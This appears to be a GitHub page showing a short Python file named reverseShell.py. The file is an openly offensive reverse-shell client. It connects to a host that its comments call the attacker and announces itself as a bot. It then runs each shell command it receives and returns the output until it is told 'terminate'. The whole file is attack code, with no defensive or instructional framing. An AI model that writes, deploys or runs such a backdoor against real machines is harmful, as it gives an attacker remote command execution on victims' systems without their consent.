-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathreverseShell.py
More file actions
19 lines (16 loc) · 780 Bytes
/
reverseShell.py
File metadata and controls
19 lines (16 loc) · 780 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import sys
from subprocess import Popen, PIPE
from socket import *
serverName = sys.Argv[1] #to get the server address that is me! the attacker
serverPort = 8000 #to open a server on http
#AF_INET IS Ipv4 address family and sock_stream is tcp socket type
clientSocket= socket(AF_INET,SOCK_STREAM)
clientSocket.connect((serverName, serverPort))
clientSocket.send('Bot reporting for Duty'.encode()) #using encode to turn the message into binary in order to send it over the socket library
command = clientSocket.recv(4064).decode()
while command != 'terminate':
proc = Popen(command.split(" "), stdout=PIPE,stderr = PIPE)
result, err = proc.communicate()
clientSocket.send(result)
command=clientSocket.recv(4064).decode() # binary info again
clientSocket.close()